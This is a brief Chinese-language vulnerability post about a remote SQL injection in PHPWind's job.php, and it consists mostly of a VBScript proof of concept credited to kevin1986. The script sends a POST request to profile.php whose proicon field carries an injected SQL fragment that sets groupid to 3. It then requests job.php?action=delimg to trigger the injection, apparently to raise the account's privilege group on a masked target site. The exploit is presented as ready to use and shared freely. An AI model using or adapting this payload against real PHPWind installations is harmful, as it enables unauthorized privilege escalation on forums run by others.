PHPWind job.php远程SQL注入漏洞

kevin1986 提供了如下的测试代码： ---------------------------codz start here----------------------------------- set k=createobject("MSXML2.XMLHTTP") thestr="proemail=themailof@you.net&proicon=0.gif%27%2Cgroupid%3D%273%7Ctest&step=2" k.open "POST","http://www.****.net/phpwind/profile.php",false,false k.setRequestHeader "Content-Length",Len(thestr) k.setRequestHeader "CONTENT-TYPE","application/x-www-form-urlencoded" k.send(thestr) k.open "Get","http://www.****.net/phpwind/job.php?action=delimg" k.send msgbox "the ninth line will tell u the program Send Finished right now And More iwan2C." & vbcrlf & "infact im not interesting in anything what u r talk about except technology." & vbcrlf & "hommmm.everyone. if u wanna share.please share it free in anyway." ----------------------------codz end here------------------------------------